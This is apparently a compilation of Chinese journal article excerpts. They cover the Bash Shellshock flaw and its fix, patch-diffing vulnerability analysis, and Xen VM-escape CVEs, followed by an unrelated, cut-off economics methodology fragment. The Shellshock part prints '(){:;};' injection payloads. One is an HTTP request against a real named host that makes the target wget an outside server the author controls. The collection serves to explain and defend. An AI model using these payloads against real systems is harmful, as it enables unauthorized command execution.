GNU Bourne-Again SHell(简称BASH),BASH是GNU组织开发,并推广运用的一个项目,一个为GNU计划编写的Unix shell,在Unix电脑里用于控制命令提示符的一款软件,BASH能把shell变量导出为环境变量,同时还能够把shell函数导出为环境变量!在GNU/Linux上最流行的shell实现,也可以说shell作为一个命令语言解释器(command-languageinterpreter)。shell是用户与Linux(或者具体准确是你和Linux内核)之间的接口程序。每一个命令都是shell先解释,接下来传给Linux内核。也可以说Linux系统提供给用户的系统程序是Shell命令语言解释程序,并且在系统里还能被他有效的Linux实用程序与应用程序(utilities andapplicationprograms)所进行调用运行。现在bash软件是以函数名当成环境变量名,以“(){”开头的字串当成环境变量的值来把函数定义导出为环境变量的过程。并且运行于多种Unix系统的操作系统中,如Linux和Mac OS X v10.4都运行shell。同时,还在Microsoft Windows里的Cygwin与Min GW,以及在MS-DOS上使用的DJGPP项目都运行了shell。
2 Bash漏洞原因和远程执行
Bash漏洞其实是很经典的“注入式攻击”,Bash脚本在解析“函数环境变量”的时并没有以函数结尾“}”为结束,而是一直执行后面的shell命令,也就是向bash注入一段命令,从bash1.14至u4.3都存在这些漏洞。通过把SQL注入和本次的Bash漏洞横向对比发现:一是数据和指令都可以让用户通过"参数"的形式进行拼接;二是在"数据""指令"方面存在明显的分界线;三是对报错逻辑、执行结果没做好控制措施,就直接给用户回显了;四是对用户的输入数据根本不进行有效的过滤、转义、边界检查,往往把敏感函数直接带入。这个漏洞的最开始的起因是Bash(Bourne Again SHell)的ENV指令,ENV指令是允许在设置环境变量后进行指令执行和允许临时改变环境变量,这两个方面的允许一定程度上给了黑客进行PATH Hajaking的可能性,同时给ENV相当于一个指令执行的指令,以及附带有临时设置环境变量的功能。
Bash作为一个被广泛集成的软件,在多数系统中都在运行,包括Rapsberry Pis、数据中心的服务器、手机、大型机等系统中。比如Linux的DHCP客户端,对于大量利用Bash脚本处理用户请求的网站,攻击者精心伪造数据,在DHCP数据包里加入恶意数据来,通过网络传到一台服务器上,直接或间接触发一个bash脚本,这样就可以远程执行恶意代码,达到完成攻击的目的。例如:HTTP协议的头User-Agent基本上是通过环境变量HTTP_USER_AGENT来传递的,就能触发后面的命令,恶意的客户仅仅发送特殊构造的HTTP请求就达到使服务器执行特定的命令,如果使用后面的命令就能测试这个漏洞:curl-H'User-Agent:(){:;};echo-e"rn Vulrn"'http://example.com/some-cgi/script.cgi。在实际测试里发送GET请求----->目标服务器cgi路径,目标服务器然后进行解析这个get请求,碰到User Agent后面的参数,Bash解释器就执行了后面的命令,目标服务器wget–>我的myvps.org,我的vps记录下这个访问的IP地址,接着就查看我的myvps.org服务器的访问记录,随后就能确定目标是不是去访问,假设访问了,说明是有漏洞的,表现:
GET/cgi-bin/helpcenter/help_center.cgi?id=20HTTP/1.1
Host:help.tenpay.com
User-Agent:(){:;};/usr/bin/wget http://myvps.org/remember_client_ip.php
Accept:*/*
Referer:http://www.baidu.com
Connection:keep-alive
Bash漏洞原因分析过程和远程执行中探讨中,我们发现与是Bash(Bourne Again SHell)的ENV指令无关,因为bash在处理含"(){:;}"的环境变量赋值的代码的函数定义时,是错误地把函数定义后面的字符串当成了命令执行。所以在执行的时候,我们只需要对含有"[函数定义]+[任意命令]"的环境变量的系统,让"[任意命令]"部分所表示的代码执行所接受,这样把恶意命令被添加在合法环境变量中Bash就会最开始运行恶意命令。
3 Bash漏洞的处理措施
计算机安全漏洞在设计之初是没有估计到的,而且成为系统的特性,攻击者或者攻击程序往往就利用了这种脆弱的特性,采取已授权的方式来获取未授权的访问方式,达到对系统造成一定损害的目的,对于Bash漏洞的处理方法,首先是先检测下:
1$env x='(){:;};echo vulnerable'bash-c"echo this is a test"
如果在检测中发现有下面两行,这就证明你的bash存在不安全的因素。
1 vulnerable
2 this is a test
这样在升级后再次执行是下面的效果,证明你已经逃过一劫
从几个大版本的升级方式:
Ubuntu or Debian请执行
1apt-get update
2 apt-get upgrade
Red Hat,Cent OS or Fedora请执行
1 yum clean all
2 yum-y update bash
Red Hat,Cent OS or Fedora bash版本将升级到bash-4.1.2-15.el6_5.1.x86_64
基于模式比较的漏洞分析技术研究 篇8
近几年以来计算机安全事件中与漏洞相关的安全事件超过80%[1]。发现软件漏洞之后,厂商通常会发布漏洞公告和相应的补丁文件。漏洞公告一般说法晦涩,不会描述清楚问题代码的位置以及漏洞的利用方式,因此仅依靠漏洞公告去重现漏洞很困难。然而,补丁却为漏洞分析留下了重要的线索,可以通过比较安装补丁前后软件代码的差异就能比较快速地定位问题代码。
1 技术模型
Windows支持的软件中包含了至少一个PE (Portable Executable)文件,而通常都是由一个EXE文件和若干DLL文件组成。安装一个漏洞补丁后,软件中至少会有一个(绝大多数情况下也只有一个)PE文件代码会发生改变,包括文件大小和内容上的改变。因此问题代码的确定最终归结到了对安装补丁前后软件中发生变化的PE文件代码进行差异分析[2]。但必须先理解下列几个问题:
(1) PE文件格式
PE文件是32位Windows自带的可移植执行体文件格式,文件中全部填充二进制数据。PE文件使用平面地址空间,整个文件是一个很大的数据结构,划分为不同的块(Section),而且这些块在磁盘中和在内存中的排列是一致的。如图1所示。
(2) PE文件传统的比较方式
两个PE文件内容的差异比较,传统的方式主要有二进制字节的对应比较和反汇编文本比较两种。
(3) 漏洞补丁安装的特殊性
①补丁前后,两个PE文件非常相似,差异函数一般在10%以内。
②补丁和软件常使用同系列的编译器,补丁安装后代码重组的可能小。
③补丁安装前后函数个数一般不变,代码块中函数的排列顺序也不改变,改变的是一些函数内部代码。
④如果补丁安装前后PE文件中某个函数长度保持不变,绝大多数情况下是函数内容没有发生改变。
理解上述3个问题之后,接下来讨论模式比较。所谓模式比较,其实是对反汇编文本比较法存在缺陷的改进,其思想是:由大范围的逐行代码比较,转为大范围的函数同构性比较加上小范围的逐行代码比较,以分析被修改函数的语义变化为核心,提高漏洞分析的成功率。通过IDA Pro得到补丁安装前后两个PE文件的反汇编文本,并分别以函数为单位对代码进行划分。然后,将得到的函数一一配对,形成PE文件之间的函数比较队列,队列的每个数据元素包括一对函数信息,如函数入口地址、长度、参数总长度等。接下来,分别形成每对函数的两个模式图,函数中每条汇编指令都是该函数模式图的一个节点。通过函数比较算法对函数中的指令进行相似性比较,并建立函数之间的同构性链表。根据得到的函数同构性链表,将每组函数模式图进行染色、合并与简化,然后通过人工分检的方式确定函数的语义差异。最后,将所有函数的比较结果进行统计分析,以确定问题代码的位置。上述方法之所以称为模式比较,是因为从函数比较到指令比较是本质,而将指令比较结果体现到模式图上则是分析的重要途径。在Todd Sabin的文章里也简单提及这种思想,但没有给出具体的研究和分析。基于模式比较的漏洞分析技术模型如图2所示。
2 函数信息的获取与配对
函数信息的获取与配对,是后面所有分析工作的前提。从补丁安装前后两个PE文件中分别获取函数信息,然后将这些函数信息一一匹配起来,组成比较队列。这个过程需要解决下列三个问题:
(1) 反汇编文本的获取
PE文件中填充的全是二进制数据,因此通过IDA Pro将其逆向转换为反汇编文本。
(2) 函数信息的获取
函数信息包括函数入口地址、长度、参数总长度等。PE文件的函数主要分为输入函数和自定义函数。
根据问题代码分析的需要,只需要对PE文件中的自定义函数进行收集。对输入函数的调用,仅仅作为这些自定义函数中的一些指令来看待。自定义函数信息的收集主要分为输出函数信息收集和内部函数信息收集。作为难点本文着重介绍内部函数信息的收集。
PE文件反汇编文本中内部函数都是subxxxxxxxx这样的形式。其中xxxxxxxx是8位十六进制数,表示函数在内存中的虚拟入口地址。与获取输出函数信息不同,内部函数信息的获取是通过在PE文件中动态搜索ca11subxxxxxxx的机器码E8xxxxxxxx来确定的。由于简单的单字节比较,很短时间内就能实现。如果在搜索到的指令中,xxxxxxx是在PE文件内存加载范围之内,则该函数认为是内部函数。图3显示了IDA Pro获取的内部函数信息:
从图3中可知,利用IDA Pro很容易获取函数入口地址、参数和长度信息。根据统计分析,内部函数数量在补丁安装前后一般保持不变,而且顺序上形成一一对应关系。
(3) 函数的配对
分别获取补丁安装前后两个PE文件的函数信息后将这些函数按照文件对应关系两两配对,形成函数比较队列,队列的每个元素包含了两个函数信息。接下来,就是对函数比较队列中每个元素进行处理。
3 函数模式图的构建
函数模式图,是指以图的方式描述化数中汇编指令流程。称之为模式图而非流程图,是因为图中既描述了函数的执行流程,又包含了函数中所有的汇编指令,而不仅仅是简单的流程描述语句。
从反汇编文本中,直接描树函数的模式图实现比较复杂,但可以利用现成的工具和库,如Win32Graph, AiSee等。其中,Win32Graph是很常用的模式图显示工具,由IDA Pro自带。通过Win32的模式图,如图4所示。
4 函数比较
函数比较是指通过函数比较算法对函数中的指令进行相似性比较,并建立函数之间的同构性链表[3]。
从语法上将意两条指令之间的关系定义为3种:相似(Similar)、接近(Close)与不相关(UnRela-table)。此外,再定义一条指令的可忽略性,以及函数之间的同构性。
函数比较算法:
(1)正向比较算法
正向比较算法是指从函数入口地址处开始比较各指令,算法流程如图5所示。
(2)逆向比较算法
逆向比较算法是指从函数返回指令处开始比较,它作为正向算法的补充。本文从略。
5 模式图的染色、合并与简化
通过指令相似性比较,得到了两函数的同构性链表。接下来的工作,就是将同构性链表的指令比较结果体现到函数模式图上,以直观的角度找出函数之间的差异。这部分内容包括模式图的染色、合并与简化。
5.1 模式图的染色
模式图染色,是根据函数比较得到的同构性链表以及可忽略指令地址链表,分别将两个模式图中各条汇编指令进行染色,从视觉上体现指令之间的相似情况[4]。为了便于描述,我们称染色之前的模式图为旧模式图。根据前面讲述的Win32graph特性,编辑由旧模式图生成的.gdl文件,将其中的按照下列规则设置每条指令的颜色属性:
(1) 如果同构性链表的一个元素被标记为“相似”,那么就分别将两个模式图中该元素对应节点染上绿色。
(2) 如果同构性链表的一个元素被标记为“接近”,将对应节点染上黄色。
(3) 如果同构性链表的一个元素被标记为“不相关”,将对应节点染上红色。
(4) 如果某条指令地址在可忽略指令地址链表中,将对应节点染上灰色。
编辑、保存之后,在命令行下通过“Win32Graph文件名.gdl”命令来显示编辑之后的.gdl文件就可以看到染色后模式图。
5.2 模式图的合并
模式图染色后,需要将两个模式图合并在一起进行比较分析。将补丁安装前的模式图命名为染色模式图A,补丁安装后的模式图命名为染色模式图B,将染色模式图A合并到染色模式图B中,合并之后称为组合模式图。
5.3 模式图的简化
对组合模式图中任一节点P,如果满足下列条件:
(1)节点P仅有一个前驱节点,并且颜色与节点P相同。
(2)该前驱节点也仅有一个后继节点,即节点P。
(3)节点P在代码物理位置上也紧接该前驱节点,即前驱节点不是分支指令。那么,将节点P并入该前驱节点,并同时更新前后节点的连接关系。模式图简化以后,通过Win32graph输出显示,可以明显看出函数之间的差异部分。图6显示了部分简化后函数模式图。
图6中,绿色区域代表补丁安装前后语义未发生变化的代码,浅红色与红色区域则表示差异代码。
6 问题代码的分检
将补丁安装前后两PE文件中所有函数的差异情况都体现到了模式图中。接下来的工作,就是依次对这些模式图进行分检,以确定问题代码位置。问题代码分检并没有明确的算法,主要依靠人工识别来实现。前面的函数比较工作己经从视觉上将各函数的差异在很大程度上缩小,因此这部分工作比较容易实现。分检过程中需要注意下列两个问题:
(1)识别由编译器优化而引起的一些指令重组。由于编译器的优化,可能导致函数中部分指令在语义不变的前提下进行重组,以及指令中寄存器的重新选择。
(2)分析缓冲区操作的相关指令很多漏洞都是由于对缓冲区分配不当,导致后面字符串操作的时候出现问题。因此,在分析函数模式图差异的时候应该多留意这一点。
7 结束语
基于模式比较的漏洞分析技术,充分利用了补丁安装的特殊性,从分析时间的复杂度、成功率等方面对传统的漏洞分析技术进行了改进。
(1)漏洞分析的时间复杂度降低
该技术避免了传统分析技术中大量盲目的测试,尤其对于分析大型软件中的漏洞,都可以在确定的多项式时间内完成。该技术在MS03-050, MS04-011,MS06-001等漏洞的实际应用都取得良好的效果。
(2)漏洞分析的成功率提高
传统的漏洞分析技术由于过程复杂,经常可能导致最后分析不出问题代码的情况。基于模式比较的问题代码分析技术由于函数比较算法的清晰,以及模式图的差异的直观性,很容易分析出问题代码的位置,从而有效地提高了漏洞分析的成功率。
摘要:介绍了一种利用厂商发布的漏洞补丁信息分析漏洞细节的方法。该方法的关键是利用PE文件在安装补丁前后的不同,综合运用模式比较的方法建立模式匹配图,从而分析处漏洞的细节以及问题代码。该方法函数比较算法的清晰,以及模式图的差异的直观性,很容易分析出问题代码的位置,从而有效地提高了漏洞分析的成功率。
关键词:模式比较,漏洞分析,补丁,逆向工程
参考文献
[1]黑客基地,探究漏洞的价值[EB/OL].[2006].http://www.hack-vip.com/Article/html/1/133/2006040408381771.shtm1.
[2]Watercloud.利用IDA PRO挖掘和分析安全漏洞[C].XfocusXCon,2003.
[3]John Robbins.Debugging Applications[M].Microsoft Press,2000.
漏洞分析 篇9
从系统软硬件体系结构看,虚拟化其实就是位于底层物理硬件和上层操作系统之间的一个硬件抽象层,它对下层物理硬件进行抽象,同时为上层操作系统提供虚拟执行环境,包括虚拟CPU、虚拟内存、虚拟硬盘、虚拟网卡等。这个虚拟执行环境一般称之为虚拟机(Virtual Machine,VM)。而这个实现虚拟化功能的软件一般称之为虚拟机监控器(Virtual Machine Monitor,以下简称VMM)。从用户体验来看,虚拟化是指通过虚拟化技术将一台计算机虚拟为多台逻辑计算机,每个逻辑计算机可运行不同的操作系统,使应用程序可以在相互独立的空间内运行而互不影响。虚拟化一方面提升了主机物理资源的利用率,另一方面增强了应用之间的隔离性。虚拟机监控器实现了上层操作系统和下层物理硬件之间的解耦合,使操作系统和应用可以在不同物理主机之间方便地迁移。
虚拟机逃逸是指利用虚拟机软件或者虚拟机中运行的软件的漏洞进行攻击,以达到攻击或控制虚拟机监控器( 或宿主操作系统) 的目的。虚拟机逃逸攻击一般是指攻击者在控制一个VM前提下,通过利用虚拟机和底层VMM的交互漏洞( 逻辑漏洞和代码缺陷), 实现对底层VMM或其他虚拟机的控制。虚拟机逃逸的后果包括在VMM层或者管理域中安装后门、执行拒绝服务攻击、窃取其他租户数据,以及控制其他租户虚拟机等。
2 虚拟机逃逸攻击机理
在虚拟化环境中,上层虚拟机需要和底层的虚拟机监控器通过某种方式进行交互,以实现对底层物理资源的访问,而这种交互过程就是可能的引入虚拟机逃逸漏洞的关键点。在一个典型的虚拟化环境中,虚拟机逃逸漏洞可能出现在两个交互接口上:(1) 虚拟机和底层VMM之间的资源访问请求交互接口;(2) 用户虚拟机和管理虚拟机之间用来实现高效通信的交互接口。
我们先来分析虚拟机和底层VMM之间的资源访问请求交互接口可能引入的虚拟机逃逸安全问题。对于不同的虚拟化方式,虚拟机和底层VMM之间的交互方式也不一样。在全虚拟化实现方式下,虚拟机和底层VMM之间的资源交互接口是VMM为上层虚拟机所提供的仿真硬件,包括CPU、内存、磁盘和外设等,一旦底层VMM基于软件方式实现全仿真虚拟硬件时存在脆弱性,就可能导致虚拟机逃逸。在半虚拟化实现方式下,虚拟机和底层VMM之间的资源访问交互接口为底层VMM所提供的超级调用(Hypercall),上层VM通过调用超级调用来请求访问底层的物理资源,底层VMM在接收到这些超级调用后,将对超级调用进行安全审核,审核通过后则代替VM执行资源访问操作,之后将执行结果返回给上层的VM,一旦VMM所实现的超级调用存在脆弱性,则会导致虚拟机逃逸。
同样,用户虚拟机和管理虚拟机之间用来实现高效通信的交互接口也可能导致虚拟机逃逸漏洞。通常情况下,用户虚拟机之间或者用户虚拟机和管理虚拟机之间相互隔离,它们之间的通信只能通过VMM实现的虚拟网络来通信,但在很多情况下,比如半虚拟化驱动架构下,用户虚拟机需要和管理虚拟机通过一种内存共享方式来进行通信,而这种内存共享通信方式如果在逻辑设计或代码实现上存在脆弱性,则可能导致虚拟机逃逸漏洞。
常见的虚拟化软件包括商用的VMware ESXi、Microsoft Hyper-V, 以及开源Xen和KVM等。自从虚拟化技术广泛应用以来,很多学者都认为虚拟机逃逸漏洞只是在理论上存在,因为现实环境中并没有发现类似漏洞。直到2009 年,在美国拉斯维加斯举行的黑帽大会上,immunity公司的kostya Kortchinsky公布了一个Cloud Burst漏洞,该漏洞可以实现VMWare Workstation虚拟化环境下从客户机到底层宿主机的虚拟机逃逸,并现场进行了演示,证明攻击者利用该漏洞可以在宿主操作系统上执行任意代码,从而可以控制整个宿主操作系统。虚拟机逃逸漏洞从而引起了安全界的重视。近些年来,发现了很多关于商业和开源虚拟化软件的虚拟机逃逸漏洞。
本文主要分析Xen虚拟化环境下的虚拟机逃逸漏洞。Xen是最早的开源虚拟化平台,它由剑桥大学开发,也是最早提出半虚拟化概念的虚拟化软件(Xen称半虚拟化为PV模式)。Xen试图解决早期全虚拟化模式下的二进制翻译技术的效率低下问题,但它需要修改虚拟机客户操作系统,存在兼容性问题。2005 年,随着Intel和AMD相继推出支持硬件辅助虚拟化的CPU之后,Xen也开始宣布支持全虚拟化模式(Xen称全虚拟化为HVM模式)。早期的开源云解决方案都选择Xen作为虚拟化构建模块,包括Eucalyptus、Open Stack、和Cloud Stack。自从开源虚拟化软件KVM出现在linux 2.6.20 内核中,更新升级都比Xen方便,导致KVM虚拟化软件使用率逐年增加,Xen逐年减少。并且,随着CPU硬件辅助虚拟化技术得到普遍应用,大大提升了全虚拟化模式虚拟机的执行效率,因此,Xen半虚拟化模式也被越来越少使用。当前,一些国内云计算产品还在使用Xen虚拟化技术,包括阿里、华为、浪潮、中科曙光和中移动的云计算产品,国外的亚马逊、Rackspace、linode等虚拟主机或云服务提供商也还在使用Xen作为虚拟化技术。
3 常见Xen虚拟机逃逸漏洞
本文以开源Xen虚拟化软件为例,分析近年来发现的Xen虚拟机逃逸漏洞,以便了解这些虚拟机逃逸漏洞的产生原因。这里选择Xen的四个虚拟机逃逸漏洞进行简要分析,包括:(1) QEMU软盘驱动模拟器漏洞(CVE-2015-3456) ;(2) PCNET仿真网卡驱动漏洞(CVE-2015-3209) ;(3) 仿真IDE设备漏洞(CVE-2015-5166) ;(4) Xen内存跨界访问漏洞(CVE-2015-7835)。
3.1 QEMU软盘驱动模拟器漏洞分析
编号为CVE-2015-3456 的虚拟机逃逸漏洞存在于Xen全虚拟化模式中。在Xen全虚拟化模式中,底层Xen虚拟机监控器为上层虚拟机提供仿真的软盘驱动器FDC,这个仿真软驱设备FDC是由位于Xen管理域Domain0 中的一个QEMU进程来实现。客户机操作系统可以向仿真软盘驱动器FDC的输入输出端口发送搜索、读取、写入、格式化等指令。仿真软驱设备FDC使用一个固定大小的缓冲区来存储由客户机操作系统发来的软驱操作指令及其相关数据参数。仿真软驱设备FDC会跟踪这些指令,并在指令所预期的数据接收完成后,执行这条指令并清除缓冲区为下一条指令做准备。但由于该仿真软驱设备FDC存在设计缺陷,使得攻击者可以从客户机操作系统发送大量的操作指令和精心制作的参数数据到仿真软驱设备FDC,从而造成FDC缓冲区溢出,溢出的结果是攻击者可能在监控进程QEMU上下文中执行任意代码,进而获得Xen管理虚拟机的控制权。QEMU软盘驱动模拟器漏洞将对所有使用QEMU FDC仿真设备的Xen 4.5.x和早期版本受到影响。该漏洞影响到的虚拟化和云计算产品包括Xen、Redhat、Citrix、Fire Eye、Linode、Rackspace、Ubuntu、Debian、Suse等多个产品。
3.2 PCNET仿真网卡漏洞分析
编号为CVE-2015-3209 的虚拟机逃逸漏洞存在于Xen的PCnet仿真网卡驱动中,该仿真网卡驱动负责实现上层虚拟机和底层物理网卡之间的网络数据交换。PCnet仿真网卡驱动开辟了4 096 字节的缓冲来接收虚拟机传来的网络报文,允许接收最大为4 096 字节的网络数据帧。但由于PCnet仿真网卡驱动支持网络帧分片传输模式,从而允许虚拟机通过发送多个数据帧分片传输网络数据帧。但PCnet仿真网卡驱动在接收连续的数据帧分片时并没有检查数据帧总长度是否超过4 096 字节,因而,如果恶意虚拟机采用分片方式发送的数据帧总长度超过4 096字节时,则可能导致缓冲区溢出,从而可能获得QEMU进程控制权,实现从客户虚拟机到虚拟机监控器的虚拟机逃逸。QEMU PCNET虚拟机漏洞将影响所有采用PCNET作为虚拟网卡的Xen HVM虚拟机。但ARM架构的Xen不受影响。同时,如果在全虚拟机中使用的是PV驱动模式,则也不受该漏洞影响。此外,该漏洞也可能影响所有使用Xen作为虚拟监控器的云计算平台,包括Open Stack和Cloud Stack等。
3.3 仿真IDE设备漏洞分析
编号为CVE-2015-5166 的虚拟机逃逸漏洞存在于Xen的IDE仿真设备驱动中,该IDE仿真设备用来实现上层虚拟机和底层物理磁盘或文件之间的交互。该IDE仿真设备由运行在Domain0 管理域中的QEMU进程实现。通常情况下,虚拟机操作系统可以通过两个不同端口实现对仿真IDE设备的释放(unplug)。但由于设计逻辑上的错误,如果攻击者先后通过这两种端口释放同一个仿真IDE设备,可能引发释放后再使用(Use After Free,UAF) 漏洞。比如,攻击者可以先向地址为0xae08IO端口写入0xfe5a请求释放仿真IDE设备,这时QEMU会释放与IDE硬盘相关的一个名为Block Backend的数据结构,而攻击者如果再次通过ACPI端口对该仿真IDE设备进行释放时,会导致QEMU进程会尝试使用已经被释放的Block Backend数据结构空间,导致QEMU进程崩溃。攻击者如果结合利用其他数据披露信息,则可能利用该漏洞获得对底层QEMU进程的控制,从而实现从虚拟机到宿主机的逃逸。QEMU IDE设备UAF漏洞可能影响到Xen 4.5.x和以前的所有版本。
3.4 Xen内存跨界访问漏洞分析
编号为CVE-2015-7835 的Xen内存跨界访问漏洞存在于Xen的物理内存资源管理上,该漏洞可以由半虚拟化模式虚拟机( 以下简称PV虚拟机) 中的页表管理超级调用所利用。通常情况下,PV虚拟机操作系统无法直接修改用来实现内存管理的页表结构,它只能通过超级调用请求底层的Xen VMM代为修改,由Xen检查通过后代替PV虚拟机操作系统修改页表。在Intel IA-32 架构下,Xen混合使用2 M分页和4 K分页的物理内存管理方式,其中2 M物理页面存供操作系统内核使用,4 K物理页面供用户空间程序使用。Xen使用同一套页表实现对4 K页面和2 M页面物理内存的混合管理。在64 位虚拟化环境下,Xen采用四级页表映射方式实现对4 K物理页面的寻址,采用三级页表映射实现对2 M物理页面的寻址。一个64 位的虚拟机进程线性地址在转换为机器物理地址时,到底是采用三级页面映射方式来寻址2 M物理内存空间,还是采用四级页表映射寻址4 K物理内存空间,是由第三节页表的页表项(Page Directory Entry,PDE) 的一个名为PS的标识位来区分。当PS为0 时,Xen采用四级页表映射寻址4K物理内存空间;当PS为1 时,Xen采用三级页面映射方式来寻址2M物理内存空间。同时,Xen提供了一种页表快速更新机制,允许PV虚拟机操作系统请求直接更新三级页表中的PDE条目;由于Xen对PDE条目更新请求检查不严,导致PV虚拟机操作系统可能将三级页表项PDE的PS标识位从0 置为1,从而可能跨过第四级页表,实现从4 K页面到2M物理页面的跨界读写访问。而这个2 M物理页面可能属于其它虚拟机,也可能属于Xen VMM,因此,一旦虚拟机获取了这种跨界物理内存直接读写权限,则可能通过修改物理内存实现虚拟机逃逸。该漏洞影响到Intel IA-32 架构上所有从Xen 3.4 到Xen 4.6 版本的虚拟化软件,只要Xen开启了半虚拟化模式支持功能。
4 虚拟机逃逸漏洞危害分析
虚拟机逃逸漏洞一旦被利用,则后果非常严重。一旦逃逸成功,可以达到:(1) 导致Xen VMM崩溃,从而造成拒绝服务攻击;(2) 成功控制Xen的管理虚拟机(dom0) ;(3) 实现对虚拟化平台上其他虚拟机的完全控制,包括VM的启停、VM删除,VM磁盘和网络流量劫持等;(4) 以该管理虚拟机为跳板,实现对虚拟化平台中其他部分的横向渗透。攻击者利用虚拟机逃逸漏洞,可以突破虚拟化平台上所实现的计算隔离、存储隔离和网络隔离安全机制,从而给其他租户带来非常大的危害。
虚拟机逃逸漏洞主要出现在上层虚拟机和下层VMM之间的交互接口上,上层虚拟机通过该交互接口实现对底层物理资源和物理外设的访问。只要该交互接口在逻辑设计上或代码实现上存在脆弱性,就可能引入虚拟机逃逸漏洞。本文虽然只分析了Xen虚拟化软件的虚拟机逃逸漏洞,但对于其他虚拟化平台, 包括Hyper V、KVM、ESXi等虚拟化软件,他们都存在上层虚拟机和下层VMM之间的交互接口,因此都可能在该交互接口上引入虚拟化逃逸漏洞,因此都将面临由于虚拟机逃逸漏洞被恶意利用所导致的严重危害。
虚拟机逃逸漏洞会严重影响到党政部门云计算服务的安全性。我国云计算安全审查所参照的关键国家标准GB/T 31168-2014《信息安全技术云计算服务安全能力要求》中,关于虚拟化安全方面对云服务商提出了很多安全控制方面的要求,包括多租户之间计算隔离、存储隔离和网络隔离。但通过上面的虚拟机逃逸漏洞危害分析结果可知,只要该云计算服务所依赖的虚拟化平台存在虚拟机逃逸漏洞,则攻击者可以轻松突破底层虚拟化平台为达到租户隔离而实施的各种安全控制措施,将导致非常严重的后果。
5 虚拟机逃逸攻击安全对策
对于虚拟机逃逸攻击,目前没有非常好的安全对抗措施,但我们可以参照信息安全中的PDR模型来实施虚拟机逃逸攻击的安全防范,并且这需要各云计算服务角色之间协同来完成。表1 给出了PDR各阶段各云服务角色可能采取的安全对策建议。
6 未来工作建议
云计算安全问题一直是人们所关注的焦点,它是影响党政部门采购公共云计算服务的主要障碍。虚拟机逃逸攻击从理论上存在变为现实中被经常发现的问题,并且其危害性非常大,应该引起学术界、产业界和云用户的高度重视。第三方云安全评估机构在进行云安全评估时,也应该高度重视虚拟机逃逸攻击问题。我们的下一步工作主要包括:(1)联合高校等学术机构深入研究虚拟机逃逸漏洞形成机理,研究和制定虚拟机安全防范方面的规范和标准;(2)收集常见虚拟化平台已发布的虚拟机逃逸漏洞,建立虚拟机逃逸漏洞库;(3) 研究虚拟逃逸漏洞检测方法,联合安全攻防团队共同研发能对现有已发布虚拟化逃逸漏洞的检测工具;(4) 对云计算服务进行安全评估时,加强对虚拟机逃逸漏洞的检测,为云计算服务安全测评提供支撑。
漏洞分析 篇10
在西方经济学发展史上,一直存在着有关实证分析和规范分析的争论,而且至今仍未结束。这种争论最早可以追溯到西尼尔和约翰·穆勒,他们只主张实证经济学,排斥规范经济学。大卫·休谟提出“一个人不能从是中推论出应该是”,即认为不能从实证分析中推导出规范分析,严格区分了实证分析和规范分析。帕累托主张实证分析,认为“帕累托最优”属于实证经济学范畴,与规范经济学毫无关系。尼格尔认为经济学中存在着实证分析,但实证分析在原则上不应该受规范分析的束缚。缪尔达尔主张将规范分析作为实证分析的前提条件,规范分析是为了更好的实证分析。罗宾逊夫人主张实证分析与规范分析相结合。萨谬尔森认为经济分析中处处离不开规范分析。海尔布伦纳认为没有规范分析也就没有实证分析,并且规范分析无处不在。
2 实证分析
实证分析法就是在观察到事实的基础上运用科学的抽象法通过分析推理对经济现象的因果关系进行客观的指示,对有关现象将来会出现的情况做出预测。由这种方法得出来的结论是客观的,就像物理学等自然科学一样,回答“是什么”的问题。实证研究主要有小样本的案例研究和大样本的计量分析两种方法。
(1)案例研究。新制度经济学主要采用这种方法。例如,科斯运用案例研究为主的实证分析来说明制度对经济的重要作用。他在《社会成本问题》一文中,运用了“某工厂的烟尘给邻近的财产所有者带来的有害影响”、“走失的牛损失邻近土地谷物”、“斯特奇斯诉布里奇曼”案、“库克诉福布斯”案、“布赖恩特诉勒菲弗”案、“巴斯诉格雷戈”案等多个案例,从中发现了“科斯定理”。诺思等人从历史的角度进行制度研究时,更多地依赖个案的分析,从中推断出一种制度的共性和特性。这与马克思的从具体到抽象的研究方法是一致的。
案例研究可以保证研究的真实性且易于处理,从真实世界里找学问,通过个案的连续性展示达到大样本检验的效果。现实经济关系是错综复杂的,许多因素是难以量化的。比如,制度不仅包括正式制度(法律、法规等),还包括非正式制度(习惯、文化等),到目前为止,非正式制度还不能完全用数量关系精确计量。新古典经济学为了做到“易于处理”而不得不假定制度是外生的,或制度不影响经济绩效,导致其理论“缺乏现实性”。新制度经济学认为制度是内生的,不同的产权结构对经济产生的影响不同,但由于制度本身的复杂性,要做到“既真实又易于处理”地解释制度对经济的重要作用,采取案例研究不失为一种好的方法。通过现实中的一个个案例,发现问题,在此基础上进行理论提炼和逻辑演绎,用所得的知识对真实的经济世界进行解释,并预测未来经济的发展。目前理论界已经开始用案例研究来分析中国的经济问题,张曙光主编的《中国制度变迁的案例研究》就是一个例证。
(2)计量分析方法。近几年来,计量经济模型分析方法已经在经济学中运用十分广泛,这从近两年入选的经济学年会论文和核心期刊刊登的文章可以看出来。计量经济学模型的重要意义在于:(1)发现理论,即用表现已经发生的经济活动的样本数据去拟合各种模型,拟合最好的模型所表现出来的数量关系,则是经济活动所遵循的经济规律,即理论。(2)检验理论,即按照某种经济理论去建立模型,然后用表现已经发生的经济活动的样本数据去拟合,如果拟合很好,则这种经济理论得到了检验。(3)经济预测。将已经发生过的经济活动的样本数据代入拟合得最好的理论模型,找出变化规律,并进行预测,通过预测可以了解到事物发展的方向。(4)政策选择。计量经济学模型揭示了经济变量之间的相互关系,将经济目标作为被解释变量,经济政策作为解释变量,可以很方便的看出不同的经济政策对经济目标影响的大小,以此来选择使目标最优的政策或政策组合。
我们研究经济问题时所采用的“成本———收益”分析、边际分析等方法也都属于计量分析方法。经济学是一门研究如何以最小投入获得最大产出的资源最优配置的学科。“成本———收益”分析法是经济学最常用的分析方法。作为“理性人”,采取一项行动之前首先会进行成本收益比较,只有在成本小于收益时,人们才会采取某项行动。诺思将“经济人”作为某制度变迁理论分析的基点,认为制度变迁的原因、动力都源于经济人对收益与成本的比较,只有在预期收益大于成本时,制度变迁才会发生。但是,当历史事实证明此时并不一定发生变迁时,就要转向意识形态、历史特征、权力等制度的影响,转向个人的有限理性。科斯第一次将边际方法用于分析制度,认为对于选择市场还是企业、用法律诉讼还是私下协商来解决纠纷等制度安排,取决于边际交易成本;当两者的边际交易成本相等时,就出现了制度均衡。契约经济学认为,一项最优的契约安排的选择取决于边际契约成本和收益的比较。威廉姆森认为,当一种组织的内部边际交易成本与外部边际交易成本相等时,组织就实现了均衡。西方经济学认为,企业实现利润最大化的条件是边际成本与边际收益相等,此时企业也就达到了一种均衡状态。
3 规范分析
